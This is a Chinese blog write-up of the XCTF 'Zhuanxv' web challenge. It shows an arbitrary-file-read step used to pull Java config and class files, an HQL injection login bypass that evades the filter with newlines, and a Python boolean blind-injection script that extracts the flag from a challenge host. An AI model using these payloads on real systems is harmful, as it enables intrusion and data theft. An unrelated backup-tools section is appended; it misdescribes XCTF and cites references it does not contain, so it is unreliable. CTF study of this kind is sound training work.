【xctf之Zhuanxv】

在这里插入图片描述
打开链接地址,发现就一个这,没任何提示。那就web目录先来一波扫描。
在这里插入图片描述
发现了一个页面,先看下。
在这里插入图片描述
是个后台登陆界面,大胆猜测存在弱口令?爆破失败。
没办法了,先看看网页源码还有网络请求吧。
在这里插入图片描述
看到这个请求是请求背景图片加载,看着和正常的图片加载感觉不太一样,是不是存在任意文件读取呢?
尝试文件读取fuzz,失败。(有一说一,到这我就没思路了。。。。。我是真的菜。)
看了官方writeup,发现github搜索了下Zhuanxv,可是我找到git项目的时候啥也没有就一个没用的默认用户和密码。后来又看了几个writeup,发现
在这里插入图片描述
相信对java开发了解点的都知道这是javaweb项目的特点。
那么java项目就有一个特点了/WEB-INF/web.xml这是肯定存在的,那就先fuzz下。
在这里插入图片描述
在这里插入图片描述
下载的是个图片,将图片格式改成xml格式,发现确实可以存在任意文件读取的漏洞。
通过web.xml我们可以看到mvc模型中view层采用了struts2框架,百度下struts2框架的配置文件先。
在这里插入图片描述
我们发现struts2的配置文件为struts.xml通常放在/WEB-INF/class/struts.xml.
可以下载下来。
在这里插入图片描述
发现了配置action的类文件,这些类文件全部在/WEB-INF/class/目录下,可以下载下来,然后使用jd-gui反编译后可以查看源码。
看完反编译后的源码发现,信息不够。正常来讲,github上的项目应该给我们一个框架提示,但我看的时候是什么也没有了。正常情况下一般要不放弃了,如果熟悉java开发框架的话,都应该清楚,一般javaweb开发前端使用struts2,大概率是ssh框架整合,struts2,spring,hibernate。那先找下spring框架的配置文件还有hibernate框架的配置文件吧。
在这里插入图片描述
正常情况下ssh框架配置如上,我们发现applicationContext.xml文件在src文件夹下,这个文件我们是无权限访问的,我们只能在webroot目录下读取文件,甚至正常情况下,我们只能读取.jsp文件才对,WEB-INF目录中的文件也不可以被读取的,但谁让这个项目存在任意文件读取呢。
在这里插入图片描述
经过百度,发现applicationContext.xml文件也可以存在于WEB-INF下面。
成功下载下来了。
在这里插入图片描述
看到这就知道这个确实是ssh框架整合的javaweb项目了。
在这里插入图片描述

把上面爆露出的class文件下载下来,发现UserServiceImpl.class中过滤了=与空格。
在这里插入图片描述
这个会将name中的空格与等号使用空白符替代,并且在下面的if判断中判断通过正则匹配的password是否是只存在字母与数字,如果是就返回过滤后的name以及password。
在这里插入图片描述
hsql语句如上,好了,到这才明白这个是让我们使用sql注入的方式进行获取flag。
尝试下注入登录。
在这里插入图片描述
ok,成功登录。

payload=admin'
or
'1'>'0'
or
name
like
'admin

在这里插入图片描述
此处限制了我们必须找到一个存在账户,并且只能是一个。所以必须有个like。
那么flag大概率存在数据库中。
不要忘记,我们还有一个信息没有使用,hiberbate配置文件。
在这里插入图片描述
user.hbm.xml文件,下载这个文件同理applicationContext.xml下载地址。
在这里插入图片描述
我们可以看到,对应表格以及falg对应的cloumn。

我们只能使用盲注,而盲注一般为基于布尔型与基于时间的注入,这里最方便的就是基于布尔型注入。

import requests
s=requests.session()

flag=''
for i in range(1,50):
    p=''
    for j in range(1,255):
        payload="(select%0Aascii(substr(welcometoourctf,"+str(i)+",1))%0Afrom%0AFlag)<'"+str(j)+"'"
        url="http://61.147.171.105:56092/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
        r1=s.get(url)
        if len(r1.text)>20000 and p!='':
            flag+=p
            print(str(i)+":"+flag)
            break
        p=chr(j)

这也是官方writeup给的脚本,唯一不同的就是官方wirte给的 是使用id列注入,我用的就是welcometoourctf列进行注入的。

总结:总体来讲这道题,较为复杂,难点在于信息的搜集,从登陆页面发现任意文件读取,到发现web项目是ssh框架集成,再到下载/WEB-INF目录下的文件。这道题很需要细心和耐心。

参考链接

xctf官方链接:https://adworld.xctf.org.cn/challenges/write-up?hash=ab3e7454-5dc0-4157-8c3d-d77e5e1b7de0_2

### XCTF备份方法与工具 XCTF(X-Code Technology Framework)通常指的是一个竞赛平台或技术框架,其备份方法和工具主要依赖于具体的实现环境。以下是几种常见的备份方法和工具,适用于XCTF或其他类似的技术框架。 #### 1. 数据库备份 在XCTF中,如果使用了数据库来存储用户信息、题目数据等关键内容,则可以采用以下数据库备份方法: - **mysqldump**:对于MySQL数据库,`mysqldump` 是一种常用的备份工具。它能够导出完整的SQL脚本,便于恢复和迁移[^2]。 ```bash mysqldump -u username -p database_name > backup.sql ``` - **pg_dump**:对于PostgreSQL数据库,`pg_dump` 提供了类似的备份功能[^3]。 ```bash pg_dump -U username -d database_name -f backup.sql ``` #### 2. 文件系统备份 XCTF的文件系统可能包含题目文件、日志文件和其他静态资源。这些文件可以通过以下工具进行备份: - **rsync**:用于同步本地或远程文件系统,支持增量备份,减少传输量[^4]。 ```bash rsync -avz /source/directory/ user@remote:/destination/directory/ ``` - **tar**:将文件打包并压缩为单个存档文件,方便存储和传输[^5]。 ```bash tar -czvf backup.tar.gz /path/to/files ``` #### 3. 容器化备份 如果XCTF运行在Docker容器中,可以使用以下方法备份容器状态: - **docker commit**:将当前容器的状态保存为镜像[^6]。 ```bash docker commit container_id new_image_name ``` - **docker save**:将镜像保存为可移植的归档文件[^7]。 ```bash docker save -o backup.tar new_image_name ``` #### 4. 配置文件备份 XCTF的配置文件通常包括服务启动参数、API密钥等敏感信息。可以使用Git等版本控制工具进行管理,并通过加密工具保护敏感数据[^8]。 - **git**:记录配置文件的历史变更,便于回滚和协作。 ```bash git add config_files git commit -m "Backup configuration" ``` - **gpg**:对配置文件进行加密存储,确保安全性[^9]。 ```bash gpg --output config.gpg --encrypt config.json ``` #### 5. 自动化备份工具 为了简化备份流程,可以使用以下自动化工具: - **cron**:在Linux系统中设置定时任务,定期执行备份脚本[^10]。 ```bash crontab -e # 添加如下行以每天凌晨2点执行备份 0 2 * * * /path/to/backup_script.sh ``` - **Ansible**:通过编写Playbook实现跨服务器的备份任务自动化[^11]。 ### 示例代码 以下是一个简单的Python脚本,用于备份XCTF的关键文件并上传到远程服务器: ```python import os import shutil import paramiko def backup_xctf(source_dir, target_dir): if not os.path.exists(target_dir): os.makedirs(target_dir) shutil.make_archive(os.path.join(target_dir, 'xctf_backup'), 'zip', source_dir) def upload_to_remote(local_file, remote_path, ssh_host, ssh_port, ssh_user, ssh_key): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(ssh_host, port=ssh_port, username=ssh_user, key_filename=ssh_key) sftp = ssh.open_sftp() sftp.put(local_file, remote_path) sftp.close() ssh.close() # 调用示例 backup_xctf('/var/xctf', '/tmp/backups') upload_to_remote('/tmp/backups/xctf_backup.zip', '/remote/backups/xctf_backup.zip', 'example.com', 22, 'user', '/path/to/key') ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值